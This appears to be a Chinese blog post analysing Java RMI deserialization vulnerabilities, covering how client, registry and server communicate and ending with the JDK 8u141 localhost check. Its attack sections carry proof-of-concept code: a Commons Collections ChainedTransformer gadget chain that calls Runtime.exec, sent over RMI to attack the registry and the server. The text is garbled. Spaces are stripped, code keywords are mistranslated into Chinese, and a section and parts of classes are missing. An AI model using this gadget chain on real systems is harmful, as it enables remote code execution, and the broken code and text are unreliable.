当前位置: 首页 > 后端技术 > Java

RMI反序列化漏洞分析

时间:2023-04-02 10:38:19 Java

1.什么是RMI?RMI(RemoteMethodInvocation)是一种跨JVM实现方法调用的技术。一般由三部分组成。客户端(client)Registry获取服务端注册的服务,然后调用远程方法//连接到RMIRegistry:localhost:1099Registryregistry=LocateRegistry.getRegistry("localhost",1099);//查找调用了evil和casttypetoEvilServiceEvilServiceevilService=(EvilService)registry.lookup("evil");//调用evil方法需要调用put函数触发//evilTransformerMap方法的具体执行逻辑在服务端执行,返回结果给clientMapevilObject=(Map)evilService.evilTransformerMap();Registry(注册中心)可以理解为存放远程对象的字典,负责网络传输的模块Server(服务器)负责在Registry中注册服务,其实就是封装一个远程对象到Registry//实例化一个EvilService,要绑定的对象EvilServiceevilService=newEvilServiceImpl();//把这个服务转换成一个远程服务接口EvilServiceskeleton=(EvilService)UnicastRemoteObject.exportObject(evilService,0);//创建一个registryRegistryregistry=LocateRegistry.createRegistry(1099);//注册服务registry.bind("evil",skeleton);PS:在低版本的JDK中,Server和Registry可以不在一台服务器上,而在高版本的JDK中,Server和Registry只能在一台服务器上,否则无法注册成功。2、服务端或服务端与注册中心通信2.1本地获取注册中心本地获取是在创建Registry对象的同时通过createRegistry方法返回Registry对象(RegistryImpl)。、list、lookup、rebind、unbind等操作2.2远程获取registrygetRegistry方法获取的对象是RegistryImpl_Stub对象,createRegistry获取的是RegistryImpl对象。注册表registry=LocateRegistry.getRegistry("localhost",1099);两者的区别在于操作Registry的过程会有所不同。有兴趣的同学可以尝试断点调试,查看具体区别。2.3Client和Server的通信这里主要讲会引起反序列化的链接。当client发起远程方法的调用时,其实就是client在2.4中与Skeleton通信。如果返回给客户端的执行结果是一个对象,那么在客户端会对其进行反序列化,当服务端接收到的参数类型为Object时,会在服务端进行反序列化。2.4流程图3.反序列化攻击3.1攻击Registry可以直接使用bind或者rebindnull进行攻击;try{transformerChain=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("调用",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open/System/Applications/Calculator.app"})});}catch(Exceptione){e.printStackTrace();}返回变压器链;}publicObjectevilTransformerMap()throwsRemoteException{//转化为mapMapoutputMap=TransformedMap.decorate(newHashMap<>(),null,gadgetTransformerChain());返回输出映射;}}ServerpublicclassRMIServer{publicstaticvoidmain(String[]args){try{//实例化一个EvilServiceEvilServiceevilService=newEvilServiceImpl();//将此服务转换为远程服务接口EvilServiceskeleton=(EvilService)UnicastRemoteObject.exportObject(evilService,0);注册表registry=LocateRegistry.createRegistry(1099);registry.bind("邪恶",骨架);}catch(Exceptione){e.printStackTrace();}}}ClientpublicclassRMIClient{publicstaticvoidmain(String[]args)throwsException{//连接到RMIRegistry:localhost:1099Registryregistry=LocateRegistry.getRegistry("localhost",1099);//调用evil的搜索服务并将类型转换为EvilServiceEvilServiceevilService=(EvilService)registry.lookup("evil");//调用邪恶方法需要调用“put”函数触发//反序列化会在函数evilTransformerMap()被调用时发生evilObject.put("1","111");}}3.3攻击Server本体上没有什么变化只是evilObject的发送方产生了变化RMIClientpublicclassRMIClient{publicstaticvoidmain(String[]args)throwsException{TransformertransformerChain=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.类),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("调用",新班级s[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"打开/System/Applications/Calculator.app"})});地图outputMap=TransformedMap.decorate(newHashMap<>(),null,transformerChain);//连接到RMIRegistry:localhost:1099Registryregistry=LocateRegistry.getRegistry("localhost",1099);服务service=(Service)registry.lookup("evil");//触发服务器反序列化service.evil(outputMap);}}ServiceImplpublicclassServiceImplimplementsService{publicServiceImpl(){}@Overridepublicvoidevil(ObjectevilObject)throwsRemoteException{((Map)evilObject).put("1","111");}}4.Fix1.在高版本的jdk(8u141)RegistryImpl#bind中,增加了一个checkAccess方法来检查你的source是否是localhost。此修复解决了攻击注册表的问题